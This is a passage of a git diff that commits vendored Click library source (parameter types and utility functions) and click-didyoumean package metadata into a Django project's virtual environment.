to bound in the given + direction. + + :param bound: The boundary value. + :param dir: 1 or -1 indicating the direction to move. + :param open: If true, the range does not include the bound. + """ + raise NotImplementedError + + def _describe_range(self) -> str: + """Describe the range for use in help text.""" + if self.min is None: + op = "<" if self.max_open else "<=" + return f"x{op}{self.max}" + + if self.max is None: + op = ">" if self.min_open else ">=" + return f"x{op}{self.min}" + + lop = "<" if self.min_open else "<=" + rop = "<" if self.max_open else "<=" + return f"{self.min}{lop}x{rop}{self.max}" + + def __repr__(self) -> str: + clamp = " clamped" if self.clamp else "" + return f"<{type(self).__name__} {self._describe_range()}{clamp}>" + + +class IntParamType(_NumberParamTypeBase): + name = "integer" + _number_class = int + + def __repr__(self) -> str: + return "INT" + + +class IntRange(_NumberRangeBase, IntParamType): + """Restrict an :data:`click.INT` value to a range of accepted + values. See :ref:`ranges`. + + If ``min`` or ``max`` are not passed, any value is accepted in that + direction. If ``min_open`` or ``max_open`` are enabled, the + corresponding boundary is not included in the range. + + If ``clamp`` is enabled, a value outside the range is clamped to the + boundary instead of failing. + + .. versionchanged:: 8.0 + Added the ``min_open`` and ``max_open`` parameters. + """ + + name = "integer range" + + def _clamp( # type: ignore + self, bound: int, dir: "te.Literal[1, -1]", open: bool + ) -> int: + if not open: + return bound + + return bound + dir + + +class FloatParamType(_NumberParamTypeBase): + name = "float" + _number_class = float + + def __repr__(self) -> str: + return "FLOAT" + + +class FloatRange(_NumberRangeBase, FloatParamType): + """Restrict a :data:`click.FLOAT` value to a range of accepted + values. See :ref:`ranges`. + + If ``min`` or ``max`` are not passed, any value is accepted in that + direction. If ``min_open`` or ``max_open`` are enabled, the + corresponding boundary is not included in the range. + + If ``clamp`` is enabled, a value outside the range is clamped to the + boundary instead of failing. This is not supported if either + boundary is marked ``open``. + + .. versionchanged:: 8.0 + Added the ``min_open`` and ``max_open`` parameters. + """ + + name = "float range" + + def __init__( + self, + min: t.Optional[float] = None, + max: t.Optional[float] = None, + min_open: bool = False, + max_open: bool = False, + clamp: bool = False, + ) -> None: + super().__init__( + min=min, max=max, min_open=min_open, max_open=max_open, clamp=clamp + ) + + if (min_open or max_open) and clamp: + raise TypeError("Clamping is not supported for open bounds.") + + def _clamp(self, bound: float, dir: "te.Literal[1, -1]", open: bool) -> float: + if not open: + return bound + + # Could use Python 3.9's math.nextafter here, but clamping an + # open float range doesn't seem to be particularly useful. It's + # left up to the user to write a callback to do it if needed. + raise RuntimeError("Clamping is not supported for open bounds.") + + +class BoolParamType(ParamType): + name = "boolean" + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + if value in {False, True}: + return bool(value) + + norm = value.strip().lower() + + if norm in {"1", "true", "t", "yes", "y", "on"}: + return True + + if norm in {"0", "false", "f", "no", "n", "off"}: + return False + + self.fail( + _("{value!r} is not a valid boolean.").format(value=value), param, ctx + ) + + def __repr__(self) -> str: + return "BOOL" + + +class UUIDParameterType(ParamType): + name = "uuid" + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + import uuid + + if isinstance(value, uuid.UUID): + return value + + value = value.strip() + + try: + return uuid.UUID(value) + except ValueError: + self.fail( + _("{value!r} is not a valid UUID.").format(value=value), param, ctx + ) + + def __repr__(self) -> str: + return "UUID" + + +class File(ParamType): + """Declares a parameter to be a file for reading or writing. The file + is automatically closed once the context tears down (after the command + finished working). + + Files can be opened for reading or writing. The special value ``-`` + indicates stdin or stdout depending on the mode. + + By default, the file is opened for reading text data, but it can also be + opened in binary mode or for writing. The encoding parameter can be used + to force a specific encoding. + + The `lazy` flag controls if the file should be opened immediately or upon + first IO. The default is to be non-lazy for standard input and output + streams as well as files opened for reading, `lazy` otherwise. When opening a + file lazily for reading, it is still opened temporarily for validation, but + will not be held open until first IO. lazy is mainly useful when opening + for writing to avoid creating the file until it is needed. + + Starting with Click 2.0, files can also be opened atomically in which + case all writes go into a separate file in the same folder and upon + completion the file will be moved over to the original location. This + is useful if a file regularly read by other users is modified. + + See :ref:`file-args` for more information. + """ + + name = "filename" + envvar_list_splitter = os.path.pathsep + + def __init__( + self, + mode: str = "r", + encoding: t.Optional[str] = None, + errors: t.Optional[str] = "strict", + lazy: t.Optional[bool] = None, + atomic: bool = False, + ) -> None: + self.mode = mode + self.encoding = encoding + self.errors = errors + self.lazy = lazy + self.atomic = atomic + + def to_info_dict(self) -> t.Dict[str, t.Any]: + info_dict = super().to_info_dict() + info_dict.update(mode=self.mode, encoding=self.encoding) + return info_dict + + def resolve_lazy_flag(self, value: t.Any) -> bool: + if self.lazy is not None: + return self.lazy + if value == "-": + return False + elif "w" in self.mode: + return True + return False + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + try: + if hasattr(value, "read") or hasattr(value, "write"): + return value + + lazy = self.resolve_lazy_flag(value) + + if lazy: + f: t.IO = t.cast( + t.IO, + LazyFile( + value, self.mode, self.encoding, self.errors, atomic=self.atomic + ), + ) + + if ctx is not None: + ctx.call_on_close(f.close_intelligently) # type: ignore + + return f + + f, should_close = open_stream( + value, self.mode, self.encoding, self.errors, atomic=self.atomic + ) + + # If a context is provided, we automatically close the file + # at the end of the context execution (or flush out). If a + # context does not exist, it's the caller's responsibility to + # properly close the file. This for instance happens when the + # type is used with prompts. + if ctx is not None: + if should_close: + ctx.call_on_close(safecall(f.close)) + else: + ctx.call_on_close(safecall(f.flush)) + + return f + except OSError as e: # noqa: B014 + self.fail(f"'{os.fsdecode(value)}': {e.strerror}", param, ctx) + + def shell_complete( + self, ctx: "Context", param: "Parameter", incomplete: str + ) -> t.List["CompletionItem"]: + """Return a special completion marker that tells the completion + system to use the shell to provide file path completions. + + :param ctx: Invocation context for this command. + :param param: The parameter that is requesting completion. + :param incomplete: Value being completed. May be empty. + + .. versionadded:: 8.0 + """ + from click.shell_completion import CompletionItem + + return [CompletionItem(incomplete, type="file")] + + +class Path(ParamType): + """The ``Path`` type is similar to the :class:`File` type, but + returns the filename instead of an open file. Various checks can be + enabled to validate the type of file and permissions. + + :param exists: The file or directory needs to exist for the value to + be valid. If this is not set to ``True``, and the file does not + exist, then all further checks are silently skipped. + :param file_okay: Allow a file as a value. + :param dir_okay: Allow a directory as a value. + :param readable: if true, a readable check is performed. + :param writable: if true, a writable check is performed. + :param executable: if true, an executable check is performed. + :param resolve_path: Make the value absolute and resolve any + symlinks. A ``~`` is not expanded, as this is supposed to be + done by the shell only. + :param allow_dash: Allow a single dash as a value, which indicates + a standard stream (but does not open it). Use + :func:`~click.open_file` to handle opening this value. + :param path_type: Convert the incoming path value to this type. If + ``None``, keep Python's default, which is ``str``. Useful to + convert to :class:`pathlib.Path`. + + .. versionchanged:: 8.1 + Added the ``executable`` parameter. + + .. versionchanged:: 8.0 + Allow passing ``type=pathlib.Path``. + + .. versionchanged:: 6.0 + Added the ``allow_dash`` parameter. + """ + + envvar_list_splitter = os.path.pathsep + + def __init__( + self, + exists: bool = False, + file_okay: bool = True, + dir_okay: bool = True, + writable: bool = False, + readable: bool = True, + resolve_path: bool = False, + allow_dash: bool = False, + path_type: t.Optional[t.Type] = None, + executable: bool = False, + ): + self.exists = exists + self.file_okay = file_okay + self.dir_okay = dir_okay + self.readable = readable + self.writable = writable + self.executable = executable + self.resolve_path = resolve_path + self.allow_dash = allow_dash + self.type = path_type + + if self.file_okay and not self.dir_okay: + self.name = _("file") + elif self.dir_okay and not self.file_okay: + self.name = _("directory") + else: + self.name = _("path") + + def to_info_dict(self) -> t.Dict[str, t.Any]: + info_dict = super().to_info_dict() + info_dict.update( + exists=self.exists, + file_okay=self.file_okay, + dir_okay=self.dir_okay, + writable=self.writable, + readable=self.readable, + allow_dash=self.allow_dash, + ) + return info_dict + + def coerce_path_result(self, rv: t.Any) -> t.Any: + if self.type is not None and not isinstance(rv, self.type): + if self.type is str: + rv = os.fsdecode(rv) + elif self.type is bytes: + rv = os.fsencode(rv) + else: + rv = self.type(rv) + + return rv + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + rv = value + + is_dash = self.file_okay and self.allow_dash and rv in (b"-", "-") + + if not is_dash: + if self.resolve_path: + # os.path.realpath doesn't resolve symlinks on Windows + # until Python 3.8. Use pathlib for now. + import pathlib + + rv = os.fsdecode(pathlib.Path(rv).resolve()) + + try: + st = os.stat(rv) + except OSError: + if not self.exists: + return self.coerce_path_result(rv) + self.fail( + _("{name} {filename!r} does not exist.").format( + name=self.name.title(), filename=os.fsdecode(value) + ), + param, + ctx, + ) + + if not self.file_okay and stat.S_ISREG(st.st_mode): + self.fail( + _("{name} {filename!r} is a file.").format( + name=self.name.title(), filename=os.fsdecode(value) + ), + param, + ctx, + ) + if not self.dir_okay and stat.S_ISDIR(st.st_mode): + self.fail( + _("{name} '{filename}' is a directory.").format( + name=self.name.title(), filename=os.fsdecode(value) + ), + param, + ctx, + ) + + if self.readable and not os.access(rv, os.R_OK): + self.fail( + _("{name} {filename!r} is not readable.").format( + name=self.name.title(), filename=os.fsdecode(value) + ), + param, + ctx, + ) + + if self.writable and not os.access(rv, os.W_OK): + self.fail( + _("{name} {filename!r} is not writable.").format( + name=self.name.title(), filename=os.fsdecode(value) + ), + param, + ctx, + ) + + if self.executable and not os.access(value, os.X_OK): + self.fail( + _("{name} {filename!r} is not executable.").format( + name=self.name.title(), filename=os.fsdecode(value) + ), + param, + ctx, + ) + + return self.coerce_path_result(rv) + + def shell_complete( + self, ctx: "Context", param: "Parameter", incomplete: str + ) -> t.List["CompletionItem"]: + """Return a special completion marker that tells the completion + system to use the shell to provide path completions for only + directories or any paths. + + :param ctx: Invocation context for this command. + :param param: The parameter that is requesting completion. + :param incomplete: Value being completed. May be empty. + + .. versionadded:: 8.0 + """ + from click.shell_completion import CompletionItem + + type = "dir" if self.dir_okay and not self.file_okay else "file" + return [CompletionItem(incomplete, type=type)] + + +class Tuple(CompositeParamType): + """The default behavior of Click is to apply a type on a value directly. + This works well in most cases, except for when `nargs` is set to a fixed + count and different types should be used for different items. In this + case the :class:`Tuple` type can be used. This type can only be used + if `nargs` is set to a fixed number. + + For more information see :ref:`tuple-type`. + + This can be selected by using a Python tuple literal as a type. + + :param types: a list of types that should be used for the tuple items. + """ + + def __init__(self, types: t.Sequence[t.Union[t.Type, ParamType]]) -> None: + self.types = [convert_type(ty) for ty in types] + + def to_info_dict(self) -> t.Dict[str, t.Any]: + info_dict = super().to_info_dict() + info_dict["types"] = [t.to_info_dict() for t in self.types] + return info_dict + + @property + def name(self) -> str: # type: ignore + return f"<{' '.join(ty.name for ty in self.types)}>" + + @property + def arity(self) -> int: # type: ignore + return len(self.types) + + def convert( + self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] + ) -> t.Any: + len_type = len(self.types) + len_value = len(value) + + if len_value != len_type: + self.fail( + ngettext( + "{len_type} values are required, but {len_value} was given.", + "{len_type} values are required, but {len_value} were given.", + len_value, + ).format(len_type=len_type, len_value=len_value), + param=param, + ctx=ctx, + ) + + return tuple(ty(x, param, ctx) for ty, x in zip(self.types, value)) + + +def convert_type(ty: t.Optional[t.Any], default: t.Optional[t.Any] = None) -> ParamType: + """Find the most appropriate :class:`ParamType` for the given Python + type. If the type isn't provided, it can be inferred from a default + value. + """ + guessed_type = False + + if ty is None and default is not None: + if isinstance(default, (tuple, list)): + # If the default is empty, ty will remain None and will + # return STRING. + if default: + item = default[0] + + # A tuple of tuples needs to detect the inner types. + # Can't call convert recursively because that would + # incorrectly unwind the tuple to a single type. + if isinstance(item, (tuple, list)): + ty = tuple(map(type, item)) + else: + ty = type(item) + else: + ty = type(default) + + guessed_type = True + + if isinstance(ty, tuple): + return Tuple(ty) + + if isinstance(ty, ParamType): + return ty + + if ty is str or ty is None: + return STRING + + if ty is int: + return INT + + if ty is float: + return FLOAT + + if ty is bool: + return BOOL + + if guessed_type: + return STRING + + if __debug__: + try: + if issubclass(ty, ParamType): + raise AssertionError( + f"Attempted to use an uninstantiated parameter type ({ty})." + ) + except TypeError: + # ty is an instance (correct), so issubclass fails. + pass + + return FuncParamType(ty) + + +#: A dummy parameter type that just does nothing. From a user's +#: perspective this appears to just be the same as `STRING` but +#: internally no string conversion takes place if the input was bytes. +#: This is usually useful when working with file paths as they can +#: appear in bytes and unicode. +#: +#: For path related uses the :class:`Path` type is a better choice but +#: there are situations where an unprocessed type is useful which is why +#: it is is provided. +#: +#: .. versionadded:: 4.0 +UNPROCESSED = UnprocessedParamType() + +#: A unicode string parameter type which is the implicit default. This +#: can also be selected by using ``str`` as type. +STRING = StringParamType() + +#: An integer parameter. This can also be selected by using ``int`` as +#: type. +INT = IntParamType() + +#: A floating point value parameter. This can also be selected by using +#: ``float`` as type. +FLOAT = FloatParamType() + +#: A boolean parameter. This is the default for boolean flags. This can +#: also be selected by using ``bool`` as a type. +BOOL = BoolParamType() + +#: A UUID parameter. +UUID = UUIDParameterType() diff --git a/django_lottopy/lib/python3.10/site-packages/click/utils.py b/django_lottopy/lib/python3.10/site-packages/click/utils.py new file mode 100644 index 00000000..8283788a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/utils.py @@ -0,0 +1,580 @@ +import os +import re +import sys +import typing as t +from functools import update_wrapper +from types import ModuleType + +from ._compat import _default_text_stderr +from ._compat import _default_text_stdout +from ._compat import _find_binary_writer +from ._compat import auto_wrap_for_ansi +from ._compat import binary_streams +from ._compat import get_filesystem_encoding +from ._compat import open_stream +from ._compat import should_strip_ansi +from ._compat import strip_ansi +from ._compat import text_streams +from ._compat import WIN +from .globals import resolve_color_default + +if t.TYPE_CHECKING: + import typing_extensions as te + +F = t.TypeVar("F", bound=t.Callable[..., t.Any]) + + +def _posixify(name: str) -> str: + return "-".join(name.split()).lower() + + +def safecall(func: F) -> F: + """Wraps a function so that it swallows exceptions.""" + + def wrapper(*args, **kwargs): # type: ignore + try: + return func(*args, **kwargs) + except Exception: + pass + + return update_wrapper(t.cast(F, wrapper), func) + + +def make_str(value: t.Any) -> str: + """Converts a value into a valid string.""" + if isinstance(value, bytes): + try: + return value.decode(get_filesystem_encoding()) + except UnicodeError: + return value.decode("utf-8", "replace") + return str(value) + + +def make_default_short_help(help: str, max_length: int = 45) -> str: + """Returns a condensed version of help string.""" + # Consider only the first paragraph. + paragraph_end = help.find("\n\n") + + if paragraph_end != -1: + help = help[:paragraph_end] + + # Collapse newlines, tabs, and spaces. + words = help.split() + + if not words: + return "" + + # The first paragraph started with a "no rewrap" marker, ignore it. + if words[0] == "\b": + words = words[1:] + + total_length = 0 + last_index = len(words) - 1 + + for i, word in enumerate(words): + total_length += len(word) + (i > 0) + + if total_length > max_length: # too long, truncate + break + + if word[-1] == ".": # sentence end, truncate without "..." + return " ".join(words[: i + 1]) + + if total_length == max_length and i != last_index: + break # not at sentence end, truncate with "..." + else: + return " ".join(words) # no truncation needed + + # Account for the length of the suffix. + total_length += len("...") + + # remove words until the length is short enough + while i > 0: + total_length -= len(words[i]) + (i > 0) + + if total_length <= max_length: + break + + i -= 1 + + return " ".join(words[:i]) + "..." + + +class LazyFile: + """A lazy file works like a regular file but it does not fully open + the file but it does perform some basic checks early to see if the + filename parameter does make sense. This is useful for safely opening + files for writing. + """ + + def __init__( + self, + filename: str, + mode: str = "r", + encoding: t.Optional[str] = None, + errors: t.Optional[str] = "strict", + atomic: bool = False, + ): + self.name = filename + self.mode = mode + self.encoding = encoding + self.errors = errors + self.atomic = atomic + self._f: t.Optional[t.IO] + + if filename == "-": + self._f, self.should_close = open_stream(filename, mode, encoding, errors) + else: + if "r" in mode: + # Open and close the file in case we're opening it for + # reading so that we can catch at least some errors in + # some cases early. + open(filename, mode).close() + self._f = None + self.should_close = True + + def __getattr__(self, name: str) -> t.Any: + return getattr(self.open(), name) + + def __repr__(self) -> str: + if self._f is not None: + return repr(self._f) + return f"" + + def open(self) -> t.IO: + """Opens the file if it's not yet open. This call might fail with + a :exc:`FileError`. Not handling this error will produce an error + that Click shows. + """ + if self._f is not None: + return self._f + try: + rv, self.should_close = open_stream( + self.name, self.mode, self.encoding, self.errors, atomic=self.atomic + ) + except OSError as e: # noqa: E402 + from .exceptions import FileError + + raise FileError(self.name, hint=e.strerror) from e + self._f = rv + return rv + + def close(self) -> None: + """Closes the underlying file, no matter what.""" + if self._f is not None: + self._f.close() + + def close_intelligently(self) -> None: + """This function only closes the file if it was opened by the lazy + file wrapper. For instance this will never close stdin. + """ + if self.should_close: + self.close() + + def __enter__(self) -> "LazyFile": + return self + + def __exit__(self, exc_type, exc_value, tb): # type: ignore + self.close_intelligently() + + def __iter__(self) -> t.Iterator[t.AnyStr]: + self.open() + return iter(self._f) # type: ignore + + +class KeepOpenFile: + def __init__(self, file: t.IO) -> None: + self._file = file + + def __getattr__(self, name: str) -> t.Any: + return getattr(self._file, name) + + def __enter__(self) -> "KeepOpenFile": + return self + + def __exit__(self, exc_type, exc_value, tb): # type: ignore + pass + + def __repr__(self) -> str: + return repr(self._file) + + def __iter__(self) -> t.Iterator[t.AnyStr]: + return iter(self._file) + + +def echo( + message: t.Optional[t.Any] = None, + file: t.Optional[t.IO[t.Any]] = None, + nl: bool = True, + err: bool = False, + color: t.Optional[bool] = None, +) -> None: + """Print a message and newline to stdout or a file. This should be + used instead of :func:`print` because it provides better support + for different data, files, and environments. + + Compared to :func:`print`, this does the following: + + - Ensures that the output encoding is not misconfigured on Linux. + - Supports Unicode in the Windows console. + - Supports writing to binary outputs, and supports writing bytes + to text outputs. + - Supports colors and styles on Windows. + - Removes ANSI color and style codes if the output does not look + like an interactive terminal. + - Always flushes the output. + + :param message: The string or bytes to output. Other objects are + converted to strings. + :param file: The file to write to. Defaults to ``stdout``. + :param err: Write to ``stderr`` instead of ``stdout``. + :param nl: Print a newline after the message. Enabled by default. + :param color: Force showing or hiding colors and other styles. By + default Click will remove color if the output does not look like + an interactive terminal. + + .. versionchanged:: 6.0 + Support Unicode output on the Windows console. Click does not + modify ``sys.stdout``, so ``sys.stdout.write()`` and ``print()`` + will still not support Unicode. + + .. versionchanged:: 4.0 + Added the ``color`` parameter. + + .. versionadded:: 3.0 + Added the ``err`` parameter. + + .. versionchanged:: 2.0 + Support colors on Windows if colorama is installed. + """ + if file is None: + if err: + file = _default_text_stderr() + else: + file = _default_text_stdout() + + # Convert non bytes/text into the native string type. + if message is not None and not isinstance(message, (str, bytes, bytearray)): + out: t.Optional[t.Union[str, bytes]] = str(message) + else: + out = message + + if nl: + out = out or "" + if isinstance(out, str): + out += "\n" + else: + out += b"\n" + + if not out: + file.flush() + return + + # If there is a message and the value looks like bytes, we manually + # need to find the binary stream and write the message in there. + # This is done separately so that most stream types will work as you + # would expect. Eg: you can write to StringIO for other cases. + if isinstance(out, (bytes, bytearray)): + binary_file = _find_binary_writer(file) + + if binary_file is not None: + file.flush() + binary_file.write(out) + binary_file.flush() + return + + # ANSI style code support. For no message or bytes, nothing happens. + # When outputting to a file instead of a terminal, strip codes. + else: + color = resolve_color_default(color) + + if should_strip_ansi(file, color): + out = strip_ansi(out) + elif WIN: + if auto_wrap_for_ansi is not None: + file = auto_wrap_for_ansi(file) # type: ignore + elif not color: + out = strip_ansi(out) + + file.write(out) # type: ignore + file.flush() + + +def get_binary_stream(name: "te.Literal['stdin', 'stdout', 'stderr']") -> t.BinaryIO: + """Returns a system stream for byte processing. + + :param name: the name of the stream to open. Valid names are ``'stdin'``, + ``'stdout'`` and ``'stderr'`` + """ + opener = binary_streams.get(name) + if opener is None: + raise TypeError(f"Unknown standard stream '{name}'") + return opener() + + +def get_text_stream( + name: "te.Literal['stdin', 'stdout', 'stderr']", + encoding: t.Optional[str] = None, + errors: t.Optional[str] = "strict", +) -> t.TextIO: + """Returns a system stream for text processing. This usually returns + a wrapped stream around a binary stream returned from + :func:`get_binary_stream` but it also can take shortcuts for already + correctly configured streams. + + :param name: the name of the stream to open. Valid names are ``'stdin'``, + ``'stdout'`` and ``'stderr'`` + :param encoding: overrides the detected default encoding. + :param errors: overrides the default error mode. + """ + opener = text_streams.get(name) + if opener is None: + raise TypeError(f"Unknown standard stream '{name}'") + return opener(encoding, errors) + + +def open_file( + filename: str, + mode: str = "r", + encoding: t.Optional[str] = None, + errors: t.Optional[str] = "strict", + lazy: bool = False, + atomic: bool = False, +) -> t.IO: + """Open a file, with extra behavior to handle ``'-'`` to indicate + a standard stream, lazy open on write, and atomic write. Similar to + the behavior of the :class:`~click.File` param type. + + If ``'-'`` is given to open ``stdout`` or ``stdin``, the stream is + wrapped so that using it in a context manager will not close it. + This makes it possible to use the function without accidentally + closing a standard stream: + + .. code-block:: python + + with open_file(filename) as f: + ... + + :param filename: The name of the file to open, or ``'-'`` for + ``stdin``/``stdout``. + :param mode: The mode in which to open the file. + :param encoding: The encoding to decode or encode a file opened in + text mode. + :param errors: The error handling mode. + :param lazy: Wait to open the file until it is accessed. For read + mode, the file is temporarily opened to raise access errors + early, then closed until it is read again. + :param atomic: Write to a temporary file and replace the given file + on close. + + .. versionadded:: 3.0 + """ + if lazy: + return t.cast(t.IO, LazyFile(filename, mode, encoding, errors, atomic=atomic)) + + f, should_close = open_stream(filename, mode, encoding, errors, atomic=atomic) + + if not should_close: + f = t.cast(t.IO, KeepOpenFile(f)) + + return f + + +def format_filename( + filename: t.Union[str, bytes, os.PathLike], shorten: bool = False +) -> str: + """Formats a filename for user display. The main purpose of this + function is to ensure that the filename can be displayed at all. This + will decode the filename to unicode if necessary in a way that it will + not fail. Optionally, it can shorten the filename to not include the + full path to the filename. + + :param filename: formats a filename for UI display. This will also convert + the filename into unicode without failing. + :param shorten: this optionally shortens the filename to strip of the + path that leads up to it. + """ + if shorten: + filename = os.path.basename(filename) + + return os.fsdecode(filename) + + +def get_app_dir(app_name: str, roaming: bool = True, force_posix: bool = False) -> str: + r"""Returns the config folder for the application. The default behavior + is to return whatever is most appropriate for the operating system. + + To give you an idea, for an app called ``"Foo Bar"``, something like + the following folders could be returned: + + Mac OS X: + ``~/Library/Application Support/Foo Bar`` + Mac OS X (POSIX): + ``~/.foo-bar`` + Unix: + ``~/.config/foo-bar`` + Unix (POSIX): + ``~/.foo-bar`` + Windows (roaming): + ``C:\Users\\AppData\Roaming\Foo Bar`` + Windows (not roaming): + ``C:\Users\\AppData\Local\Foo Bar`` + + .. versionadded:: 2.0 + + :param app_name: the application name. This should be properly capitalized + and can contain whitespace. + :param roaming: controls if the folder should be roaming or not on Windows. + Has no affect otherwise. + :param force_posix: if this is set to `True` then on any POSIX system the + folder will be stored in the home folder with a leading + dot instead of the XDG config home or darwin's + application support folder. + """ + if WIN: + key = "APPDATA" if roaming else "LOCALAPPDATA" + folder = os.environ.get(key) + if folder is None: + folder = os.path.expanduser("~") + return os.path.join(folder, app_name) + if force_posix: + return os.path.join(os.path.expanduser(f"~/.{_posixify(app_name)}")) + if sys.platform == "darwin": + return os.path.join( + os.path.expanduser("~/Library/Application Support"), app_name + ) + return os.path.join( + os.environ.get("XDG_CONFIG_HOME", os.path.expanduser("~/.config")), + _posixify(app_name), + ) + + +class PacifyFlushWrapper: + """This wrapper is used to catch and suppress BrokenPipeErrors resulting + from ``.flush()`` being called on broken pipe during the shutdown/final-GC + of the Python interpreter. Notably ``.flush()`` is always called on + ``sys.stdout`` and ``sys.stderr``. So as to have minimal impact on any + other cleanup code, and the case where the underlying file is not a broken + pipe, all calls and attributes are proxied. + """ + + def __init__(self, wrapped: t.IO) -> None: + self.wrapped = wrapped + + def flush(self) -> None: + try: + self.wrapped.flush() + except OSError as e: + import errno + + if e.errno != errno.EPIPE: + raise + + def __getattr__(self, attr: str) -> t.Any: + return getattr(self.wrapped, attr) + + +def _detect_program_name( + path: t.Optional[str] = None, _main: t.Optional[ModuleType] = None +) -> str: + """Determine the command used to run the program, for use in help + text. If a file or entry point was executed, the file name is + returned. If ``python -m`` was used to execute a module or package, + ``python -m name`` is returned. + + This doesn't try to be too precise, the goal is to give a concise + name for help text. Files are only shown as their name without the + path. ``python`` is only shown for modules, and the full path to + ``sys.executable`` is not shown. + + :param path: The Python file being executed. Python puts this in + ``sys.argv[0]``, which is used by default. + :param _main: The ``__main__`` module. This should only be passed + during internal testing. + + .. versionadded:: 8.0 + Based on command args detection in the Werkzeug reloader. + + :meta private: + """ + if _main is None: + _main = sys.modules["__main__"] + + if not path: + path = sys.argv[0] + + # The value of __package__ indicates how Python was called. It may + # not exist if a setuptools script is installed as an egg. It may be + # set incorrectly for entry points created with pip on Windows. + if getattr(_main, "__package__", None) is None or ( + os.name == "nt" + and _main.__package__ == "" + and not os.path.exists(path) + and os.path.exists(f"{path}.exe") + ): + # Executed a file, like "python app.py". + return os.path.basename(path) + + # Executed a module, like "python -m example". + # Rewritten by Python from "-m script" to "/path/to/script.py". + # Need to look at main module to determine how it was executed. + py_module = t.cast(str, _main.__package__) + name = os.path.splitext(os.path.basename(path))[0] + + # A submodule like "example.cli". + if name != "__main__": + py_module = f"{py_module}.{name}" + + return f"python -m {py_module.lstrip('.')}" + + +def _expand_args( + args: t.Iterable[str], + *, + user: bool = True, + env: bool = True, + glob_recursive: bool = True, +) -> t.List[str]: + """Simulate Unix shell expansion with Python functions. + + See :func:`glob.glob`, :func:`os.path.expanduser`, and + :func:`os.path.expandvars`. + + This is intended for use on Windows, where the shell does not do any + expansion. It may not exactly match what a Unix shell would do. + + :param args: List of command line arguments to expand. + :param user: Expand user home directory. + :param env: Expand environment variables. + :param glob_recursive: ``**`` matches directories recursively. + + .. versionchanged:: 8.1 + Invalid glob patterns are treated as empty expansions rather + than raising an error. + + .. versionadded:: 8.0 + + :meta private: + """ + from glob import glob + + out = [] + + for arg in args: + if user: + arg = os.path.expanduser(arg) + + if env: + arg = os.path.expandvars(arg) + + try: + matches = glob(arg, recursive=glob_recursive) + except re.error: + matches = [] + + if not matches: + out.append(arg) + else: + out.extend(matches) + + return out diff --git a/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/INSTALLER b/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/LICENSE b/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/LICENSE new file mode 100644 index 00000000..77fff8cd --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2016 Timo Furrer + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/METADATA b/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/METADATA new file mode 100644 index 00000000..6d84ea51 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/METADATA @@ -0,0 +1,14 @@ +Metadata-Version: 2.1 +Name: click-didyoumean +Version: 0.3.0 +Summary: Enables git-like *did-you-mean* feature in click +License: MIT +Author: Timo Furrer +Author-email: timo.furrer@roche.com +Requires-Python: >=3.6.2,<4.0.0 +Classifier: License :: OSI Approved :: MIT License +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3.7 +Classifier: Programming Language :: Python :: 3.8 +Classifier: Programming Language :: Python :: 3.9 +Requires-Dist: click (>=7) diff --git a/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/RECORD b/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/RECORD new file mode 100644 index 00000000..b6240bba --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/RECORD @@ -0,0 +1,7 @@ +click_didyoumean-0.3.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +click_didyoumean-0.3.0.dist-info/LICENSE,sha256=78dPJV3W_UKJNjsb_nHNDtcLKSbIJY1hUiBOaokEHAo,1056 +click_didyoumean-0.3.0.dist-info/METADATA,sha256=Z14H3koQ6o-7SZV92h932lmyOI7wVlQJz4z2a0-8x30,495 +click_didyoumean-0.3.0.dist-info/RECORD,, +click_didyoumean-0.3.0.dist-info/WHEEL,sha256=DRf8A_Psd1SF2kVqTQOOFU1Xzl3-A2qljAxBMTOusUs,83 +click_didyoumean/__init__.py,sha256=ZdVAFTqOmOQOcKAn8ew4Knr8tYXSDwQyEzc7az-gd08,2054 +click_didyoumean/__pycache__/__init__.cpython-310.pyc,, diff --git 